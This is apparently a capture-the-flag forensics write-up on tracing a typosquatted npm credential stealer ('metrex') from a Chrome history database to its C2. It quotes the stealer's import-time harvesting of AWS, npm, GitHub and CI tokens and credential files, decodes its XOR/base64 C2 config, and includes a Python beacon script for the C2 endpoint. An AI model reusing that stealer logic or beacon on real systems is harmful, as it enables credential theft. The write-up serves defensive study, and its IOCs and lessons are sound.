<- cd ../ (back to ~/writeups on the homepage)

[ writeup · case #031 ]

Jean Valjean

DFIR from a single Chrome History SQLite database. An intern wired a typosquatted npm package — a credential stealer — into a production SaaS that exfiltrates to a Cloudflare-fronted C2. Decode the obfuscated C2 config, sidestep the deliberately mis-spelled decoy endpoint, and hit the real flag-serving route.

date
2026-10-11
read
3 min
tags
#ctf #dfir #forensics #c2
event
Securinets ENIT — Cat the Flag v3
category
dfir
points
350
placement
1st place

Challenge: "...find the C2 server in question and get the flag." — Author: Taha (Securinets ENIT) Evidence: a single Chrome History SQLite database (History (2)) Flag: SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284}


TL;DR

An intern wired a typosquatted npm package (metrex → github.com/john-milner/meterex) into a production SaaS. The package is a credential/secret stealer that exfiltrates to a Cloudflare-fronted C2, webhook-relay.cloud. The package obfuscates its C2 config in queue.js — and the decoded exfil path is deliberately mis-spelled (/api/v2/telemstry/ingest) as a trap. The real, flag-serving endpoint is the correctly-spelled route; everything else on the host 302-redirects to npmjs.com as camouflage.

text
POST https://webhook-relay.cloud/api/v2/telemetry/ingest
X-Analytics-Signature: telemetry_2026_report_ac03
Content-Type: application/json

{"v":2,"sid":"…","seq":…,"type":"telemetry.report","src":"dashboard","payload":"<gzip+base64>"}
→ 200  { … SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284} … }

1. Triaging the history

The DB has no sqlite3 CLI dependency — read it with Python's stdlib:

python
import sqlite3, datetime
db = sqlite3.connect("History.db")
def t(x): return (datetime.datetime(1601,1,1)+datetime.timedelta(microseconds=x)) if x else None
for vt,u in db.execute(
    "SELECT v.visit_time,u.url FROM visits v JOIN urls u ON v.url=u.id ORDER BY v.visit_time"):
    print(t(vt), u)

Filtering out the Google/GitHub/Node noise, the intern's trail tells a clear story:

WhenSignal
searchesmetrex, metrix github, metrix npm, npm pakcage releases — hunting a metrics middleware
github.com/john-milner/meterex/tree/main/src/routeslands on a repo whose npm name is metrex
socket.dev/npm/package/@metrix/metrix-user-databasechecks a package on the supply-chain scanner (decoy — a real Kazakh package)
webhook-relay.cloud (title shows "npm | Home")the C2, disguised as npm
GCP console, project rotato-paperVMs literally named c2-webhook-relay, rt-c2-usw1-01
localhost:7443 (title "Mythic", /new/callbacks)a Mythic C2 operator console

The GCP VM c2-webhook-relay and the host webhook-relay.cloud name the C2 outright.


2. What went wrong — the malicious dependency

github.com/john-milner/meterex ships package.json with "name": "metrex" (a typosquat of a real metrics library) at a high version 2.5.0 so npm install metrex resolves to it. The backdoor was added in commit 680fd4d8 "Add telemetry collection layer" (src/lib/{queue,transport,utils}.js).

src/lib/utils.js runs on import and harvests secrets:

js
reportMetrics();                 // executes at require() time
// collects: AWS_ACCESS_KEY_ID / _SECRET_ACCESS_KEY / _SESSION_TOKEN,
//           NPM_TOKEN, GITHUB_TOKEN, CI_JOB_TOKEN,
//           ~/.config/gh/hosts.yml, ~/.docker/config.json, ~/.kube/config, ~/.aws/credentials
queue.enqueue(metrics);

So the moment the SaaS build imported metrex, its CI/host credentials left the building — "our whole data was sent to the Chinese."


3. Decoding the C2 config (src/lib/queue.js)

Three layers of obfuscation hide the destination:

js
const K0 = 0x5a, K1 = 0x17, K2 = 0xa3;
function rot(buf){ return Buffer.from(buf.map((b,i)=> b ^ [K0,K1,K2][i%3])); }

fragmentA = base64("LXLBMnjMMTo=")          // XOR-cycled → "webhook-rel"
fragmentB = base64("KHLPO26NOXvML3M=")      //            → "ay.cloud"
decodeHost()  → "webhook-relay.cloud"

TOKEN_A="74656c656d657472795f323032", TOKEN_B="365f7265706f72745f61633033"
decodeToken() → hex → "telemetry_2026_report_ac03"

PATH_REVERSED = "tsegni/yrtsmelet/2v/ipa/"
endpoint()    → reverse → "/api/v2/telemstry/ingest"     ← note the TYPO

Decoder:

python
import base64
K=[0x5a,0x17,0xa3]; rot=lambda b: bytes(b[i]^K[i%3] for i in range(len(b)))
host = (rot(base64.b64decode("LXLBMnjMMTo=")) + rot(base64.b64decode("KHLPO26NOXvML3M="))).decode()
token = bytes.fromhex("74656c656d657472795f323032"+"365f7265706f72745f61633033").decode()
path = "tsegni/yrtsmelet/2v/ipa/"[::-1]
# host=webhook-relay.cloud  token=telemetry_2026_report_ac03  path=/api/v2/telemstry/ingest

src/lib/transport.js chooses which header carries the token: sum(len(h)) % 6 over an insertion-ordered set of six header names → index 5 → X-Analytics-Signature. The body is a JSON envelope whose payload is base64(gzip(JSON)); the Content-Encoding: gzip header is a lie.


4. The trap — and getting the flag

Hitting the decoded path does nothing useful:

text
GET/POST https://webhook-relay.cloud/api/v2/telemstry/ingest   → 302  Location: https://www.npmjs.com/
GET      https://webhook-relay.cloud/<anything>                 → 302  Location: https://www.npmjs.com/

Every route catch-all redirects to npm — classic C2 camouflage, and the reason a lazy replay "sees nothing." The mis-spelled telemstry is bait. Fixing the spelling to telemetry and sending a properly-signed beacon flips it to a 200:

python
import gzip, json, base64, time, secrets, http.client, ssl
inner   = {"body": {"ping": 1}, "meta": {"env": "production"}}
payload = base64.b64encode(gzip.compress(json.dumps(inner).encode())).decode()
env     = {"v":2,"sid":secrets.token_hex(16),"seq":int(time.time()*1000),
           "type":"telemetry.report","src":"dashboard","payload":payload}
c = http.client.HTTPSConnection("webhook-relay.cloud", 443, context=ssl.create_default_context())
c.request("POST", "/api/v2/telemetry/ingest", json.dumps(env),
          {"Content-Type":"application/json",
           "X-Analytics-Signature":"telemetry_2026_report_ac03",
           "User-Agent":"telemetry-utils/2.4.1 (node; +https://npmjs.com/package/telemetry-utils)"})
print(c.getresponse().read().decode())
text
200 OK
… SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284} …

Flag

text
SecurinetsENIT{5a005bab5fed4fc5bf3e56259ed0e284}

(server-side value; it can rotate — re-run the beacon if it's rejected.)


Lessons / gotchas

  • A decoded value that looks like a typo probably is one — on purpose. Try the corrected spelling before concluding an endpoint is dead.
  • Uniform 302 → real site on every path = camouflage redirector, not a down host. Fuzz adjacent/corrected routes with the recovered auth header.
  • The same browser history is salted with decoys from sibling challenges (the 0X_* reversing-flag files in Downloads, @metrix/metrix-user-database on socket.dev, cdnjs-mirror.net, gh-actions-runner.xyz, kedux.enit.tn, enitt.online). None of them is this flag.
  • An npm package that calls its exfil function at import time needs no postinstall hook — just being in dependencies and getting require()d is enough.

IOCs

TypeValue
Malicious packagemetrex / github.com/john-milner/meterex (backdoor commit 680fd4d8)
C2webhook-relay.cloud (GCP VM c2-webhook-relay, project rotato-paper, us-central1-a)
Exfil endpointPOST /api/v2/telemetry/ingest
Auth headerX-Analytics-Signature: telemetry_2026_report_ac03
XOR key[0x5a, 0x17, 0xa3] (cycled by i % 3)
StolenAWS keys, NPM_TOKEN, GITHUB_TOKEN, CI_JOB_TOKEN, ~/.aws, ~/.config/gh, ~/.kube, ~/.docker